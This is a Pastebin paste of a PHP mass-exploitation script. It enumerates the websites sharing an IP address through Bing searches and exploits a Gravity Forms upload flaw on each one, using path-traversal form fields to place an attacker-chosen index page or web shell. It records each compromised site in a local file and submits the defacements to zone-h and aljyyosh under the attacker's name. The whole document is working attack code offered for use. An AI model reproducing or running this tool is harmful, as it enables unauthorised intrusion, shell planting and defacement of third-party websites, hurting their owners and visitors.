amiralbenz

revslider

Jul 11th, 2015
417
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.25 KB | None | 0 0
  1. <?php
  2. echo "______ ___ ___ _ _
  3. | ___ \ | \/ |(_) | |
  4. | |_/ / ___ _ _ ___ ___ | . . | _ ___ | |_ ___
  5. | __/ / __|| | | | / __| / _ \ | |\/| || |/ __|| __| / _ \
  6. | | \__ \| |_| || (__ | (_) | | | | || |\__ \| |_ | __/
  7. \_| |___/ \__, | \___| \___/ \_| |_/|_||___/ \__| \___|
  8. __/ | _____ _ _ _
  9. |___/_ | __ \ | | | | | |
  10. ( _ ) | | \/ _ __ ___ _ _ | |_| | __ _ | |_
  11. / _ \/\ | | __ | '__| / _ \| | | | | _ | / _` || __|
  12. | (_> < | |_\ \| | | __/| |_| | | | | || (_| || |_
  13. \___/\/ \____/|_| \___| \__, | \_| |_/ \__,_| \__|
  14. __/ |
  15. |___/ ";
  16.  
  17. echo "\n\n";
  18.  
  19. echo "Enter IP Or Site >>> ";
  20. $site=trim(fgets(STDIN,1024));
  21. echo "Your Index Or Shell >>> ";
  22. $index=trim(fgets(STDIN,1024));
  23. $ip=gethostbyname("$site");
  24. echo "Name Of Your Zone >>> ";
  25. $hacker=trim(fgets(STDIN,1024));
  26. {
  27. $sites = array_map("site", bing("ip:$ip"));
  28. $un=array_unique($sites);
  29. echo "[+] Scanning -> ", $ip, " Wait... ";
  30. echo "Found : ".count($sites)." sites\n\n";
  31. foreach($un as $web){
  32. $site="http://$web/";
  33. $zone= "http://zone-h.org/notify/single";
  34. $zone1= "http://www.aljyyosh.org/single.php";
  35. $path= "?gf_page=upload";
  36. $hacked="$site/_input__.html";
  37. $hackmode="1";
  38. $reson="1";
  39. $psyco = curl_init("$site/$path");
  40. curl_setopt($psyco, CURLOPT_POST, true);
  41. curl_setopt($psyco, CURLOPT_POSTFIELDS, array( 'file'=>"@$index", 'name'=>'.html','form_id'=>'../../../','gform_unique_id'=>'../../'));
  42. curl_setopt($psyco, CURLOPT_RETURNTRANSFER, 1);
  43. curl_setopt($psyco, CURLOPT_FOLLOWLOCATION, 1);
  44. curl_setopt($psyco, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36");
  45. $result = curl_exec($psyco);
  46. curl_close($psyco);
  47.  
  48. if (strstr($result, "\"ok\""))
  49. {
  50. echo "Ok :D -> ". $site ." Found : "."\n";
  51. echo "Your Shell Or Index >>> $site/_input__.html"."\n\n";
  52. $save = fopen("bot.txt","a+"."\r\n");
  53. fwrite($save,"$site/_input__.html "."\r\n");
  54. echo "Miroir Of Zone-h Or Al Joyouch";
  55. $k = curl_init();
  56. curl_setopt($k, CURLOPT_URL, $zone);
  57. curl_setopt($k,CURLOPT_POST,1);
  58. curl_setopt($k,CURLOPT_POSTFIELDS,"defacer="."$hacker"."&domain1=".$hacked."&hackmode=".$hackmode."&reason=".$reson);
  59. curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  60. curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  61. $kubra = curl_exec($k);
  62. curl_close($k);
  63. if (eregi('OK', $kubra)) {
  64. echo "| Send Site To Zone-H\n";
  65. echo "| Site : ".$site." Ok ./done !";
  66. } else {
  67. echo "| Send Site To Zone-H\n";
  68. echo "| ".$site . " : Domain has been defaced during last year \n\n";
  69. }
  70. $a = curl_init();
  71. curl_setopt($a, CURLOPT_URL, $zone1);
  72. curl_setopt($a,CURLOPT_POST,1);
  73. curl_setopt($a, CURLOPT_POSTFIELDS,"hacker="."$hacker"."&site=".$hacked."&how=".$hackmode."&why=".$reson."&alj=aljyyosh&addsite=Send");
  74. curl_setopt($a,CURLOPT_FOLLOWLOCATION, true);
  75. curl_setopt($a, CURLOPT_RETURNTRANSFER, true);
  76. $kub = curl_exec($a);
  77. curl_close($a);
  78. if (eregi('OK', $kub)) {
  79. echo "\n\n"."| Send Site To aljyyosh\n";
  80. echo "| Site : ".$site." ./done ! "."\n\n";
  81. } else {
  82. echo "| Send Site To aljyyosh\n";
  83. echo "| ".$site . " : Domain has been defaced during last year "."\n\n";
  84. }
  85.  
  86. }else
  87. echo "$site No "."\n\n";
  88. }
  89.  
  90.  
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97. }
  98. function findit($mytext,$starttag,$endtag) {
  99. $posLeft = stripos($mytext,$starttag)+strlen($starttag);
  100. $posRight = stripos($mytext,$endtag,$posLeft+1);
  101. return substr($mytext,$posLeft,$posRight-$posLeft);
  102. }
  103. function site($link){
  104. return str_replace("","",parse_url($link, PHP_URL_HOST));
  105. }
  106. function bing($what){
  107. for($i = 1; $i <= 2000; $i += 10){
  108. $ch = curl_init();
  109. curl_setopt ($ch, CURLOPT_URL, "http://www.bing.com/search?q=".urlencode($what)."&first=".$i."&FORM=PERE");
  110. curl_setopt ($ch, CURLOPT_USERAGENT, "msnbot/1.0 (http://search.msn.com/msnbot.htm)");
  111. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  112. curl_setopt ($ch, CURLOPT_COOKIEFILE,getcwd().'/cookie.txt');
  113. curl_setopt ($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
  114. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  115. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  116. $data = curl_exec($ch);
  117. preg_match_all('#;a=(.*?)" h="#',$data, $links);
  118. foreach($links[1] as $link){
  119. $allLinks[] = $link;
  120. }
  121. if(!preg_match('#"sw_next"#',$data)) break;
  122. }
  123.  
  124. if(!empty($allLinks) && is_array($allLinks)){
  125. return array_unique(array_map("urldecode", $allLinks));
  126. }
  127. }
  128.  
  129. ?>
Advertisement
Add Comment
Please, Sign In to add comment